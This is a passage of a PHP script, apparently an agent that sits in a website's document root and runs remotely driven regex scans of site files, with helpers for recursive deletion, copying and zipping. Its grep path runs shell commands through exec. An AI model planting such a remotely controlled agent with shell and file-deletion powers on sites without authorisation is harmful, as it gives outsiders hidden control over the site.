RecursiveIteratorIterator::LEAVES_ONLY); foreach ($it as $file) { if (!$file->isFile() || $file->getSize() > MAX_FILE_SIZE) { continue; } if (realpath($file->getPathname()) === __FILE__) { continue; } $path = $file->getPathname(); $fh = @fopen($path, 'rb'); if ($fh === false) { continue; } $scanned++; $lineno = 0; while (($line = fgets($fh)) !== false) { $lineno++; if (strpos($line, "\0") !== false) { break; } $mm = array(); if (@preg_match($re, $line, $mm) === 1) { $matches[] = array( 'path' => ltrim(substr($path, strlen($DOCROOT)), '/\\'), 'line' => $lineno, 'text' => rtrim(substr($line, 0, MAX_LINE_LEN), "\r\n"), 'match' => substr(isset($mm[0]) ? $mm[0] : '', 0, MAX_LINE_LEN), ); if (count($matches) >= MAX_MATCHES) { $truncated = true; break; } } } fclose($fh); if ($truncated) { break; } } jout(array('matches' => $matches, 'scanned' => $scanned, 'truncated' => $truncated, 'via' => 'php')); } // ---------- helpers ---------- function human_size($n) { if ($n === false || $n === null) { return ''; } $u = array('B', 'K', 'M', 'G', 'T'); $i = 0; while ($n >= 1024 && $i < 4) { $n /= 1024; $i++; } return round($n, $i ? 1 : 0) . $u[$i]; } function rrm($p) { if (is_dir($p) && !is_link($p)) { foreach (scandir($p) as $c) { if ($c !== '.' && $c !== '..') { rrm($p . '/' . $c); } } @rmdir($p); } else { @unlink($p); } } function rcopy($src, $dst) { if (is_dir($src)) { @mkdir($dst, 0755); foreach (scandir($src) as $c) { if ($c !== '.' && $c !== '..') { rcopy($src . '/' . $c, $dst . '/' . $c); } } } else { @copy($src, $dst); } } function zip_add($zip, $src, $local) { if (is_dir($src)) { $zip->addEmptyDir($local); foreach (scandir($src) as $c) { if ($c !== '.' && $c !== '..') { zip_add($zip, $src . '/' . $c, $local . '/' . $c); } } } else { $zip->addFile($src, $local); } } // ---------- background scan (pull, chunked, resumable) ---------- // The server drives these: scan.start kicks off a scan (grep in the background // when exec is available, else a lazily-scanned file list); scan.poll returns // the matches appended past a byte offset (idempotent → resumable); scan.cleanup // removes the state. Matches are stored as `relpath:line:content` lines (grep's // own format) so one parser serves both modes. function skip_dirs() { return array('node_modules','vendor','cache','.cache','.git','.svn','.hg','bower_components','.grab'); } function skip_exts() { return array('png','jpg','jpeg','gif','webp','bmp','ico','svg','tif','tiff','heic','mp4','mkv','mov','avi','webm','flv','wmv','mpg','mpeg','mp3','wav','ogg','m4a','aac','flac','zip','gz','tgz','tar','bz2','xz','7z','rar','woff','woff2','ttf','eot','otf','pdf','psd','ai','eps','iso','dmg','exe','dll','so','bin','class','jar','war','wasm','o','a','doc','docx','xls','xlsx','ppt','pptx','odt','ods','sqlite','sqlite3','db','mo','pack','idx'); } // Delete scan state dirs older than an hour (stale/abandoned scans). function scan_sweep($base) { if (!is_dir($base)) { return; } $now = time(); foreach (@scandir($base) as $d) { if ($d === '.' || $d === '..') { continue; } $p = $base . '/' . $d; if (is_dir($p) && ($now - (int)@filemtime($p)) > 3600) { rrm($p); } } } // Best-effort kill of a scan's background grep. function scan_kill($sid) { if (exec_available()) { @sh_out('pkill -f ' . escapeshellarg('.grab/' . $sid . '/') . ' 2>/dev/null'); } } // Write the filtered file list (one relative path per line) for lazy PHP scanning. function scan_build_list($docroot, $fh) { $skipDirs = skip_dirs(); $skipExt = skip_exts(); $filter = new RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($docroot, FilesystemIterator::SKIP_DOTS), function ($c) use ($skipDirs, $skipExt) { $nm = $c->getFilename(); if ($c->isDir()) { return !in_array(strtolower($nm), $skipDirs, true); } $ext = strtolower(pathinfo($nm, PATHINFO_EXTENSION)); return $ext === '' || !in_array($ext, $skipExt, true); } ); $it = new RecursiveIteratorIterator($filter, RecursiveIteratorIterator::LEAVES_ONLY); foreach ($it as $file) { if (!$file->isFile() || $file->getSize() > MAX_FILE_SIZE) { continue; } $rel = ltrim(substr($file->getPathname(), strlen($docroot)), '/\\'); fwrite($fh, str_replace(array("\r","\n"), '', $rel) . "\n"); } } // Advance a no-exec (PHP) scan by a time budget, appending matches to `raw`. function scan_php_chunk($dir, $docroot) { $list = $dir . '/list'; $curs = $dir . '/cursor'; $raw = $dir . '/raw'; $stat = $dir . '/status'; $lines = @file($list, FILE_IGNORE_NEW_LINES); if ($lines === false) { @file_put_contents($stat, 'done'); return; } $total = count($lines); $cursor = (int)@file_get_contents($curs); $re = "\x01" . (string)@file_get_contents($dir . '/pat') . "\x01" . (string)@file_get_contents($dir . '/flags'); $out = @fopen($raw, 'ab'); if ($out === false) { return; } $deadline = microtime(true) + 8.0; $found = count_lines($raw); while ($cursor < $total && microtime(true) < $deadline && $found < MAX_MATCHES) { $path = $lines[$cursor]; $cursor++; if ($path === '') { continue; } $full = $docroot . '/' . $path; if (realpath($full) === __FILE__) { continue; } $fh = @fopen($full, 'rb'); if ($fh === false) { continue; } $lineno = 0; while (($line = fgets($fh)) !== false) { $lineno++; if (strpos($line, "\0") !== false) { break; } if (@preg_match($re, $line) === 1) { fwrite($out, $path . ':' . $lineno . ':' . rtrim(substr($line, 0, MAX_LINE_LEN), "\r\n") . "\n"); if (++$found >= MAX_MATCHES) { break; } } } @fclose($fh); } @fclose($out); @file_put_contents($curs, (string)$cursor); if ($cursor >= $total || $found >= MAX_MATCHES) { @file_put_contents($stat, 'done'); } } // Parse one `relpath:line:content` line into a match array (extracting the match // substring with the compiled regex $re), or null if malformed. function parse_scan_line($ln, $re) { $p1 = strpos($ln, ':'); $p2 = $p1 === false ? false : strpos($ln, ':', $p1 + 1); if ($p2 === false) { return null; } $path = ltrim(substr($ln, 0, $p1), './'); $lineno = (int)substr($ln, $p1 + 1, $p2 - $p1 - 1); $content = substr($ln, $p2 + 1); $mm = array(); @preg_match($re, $content, $mm); return array( 'path' => $path, 'line' => $lineno, 'text' => substr($content, 0, MAX_LINE_LEN), 'match' => substr(isset($mm[0]) ? $mm[0] : '', 0, MAX_LINE_LEN), ); } function count_lines($f) { $n = 0; $fh = @fopen($f, 'rb'); if ($fh === false) { return 0; } while (!feof($fh)) { $n += substr_count((string)fread($fh, 65536), "\n"); } @fclose($fh); return $n; }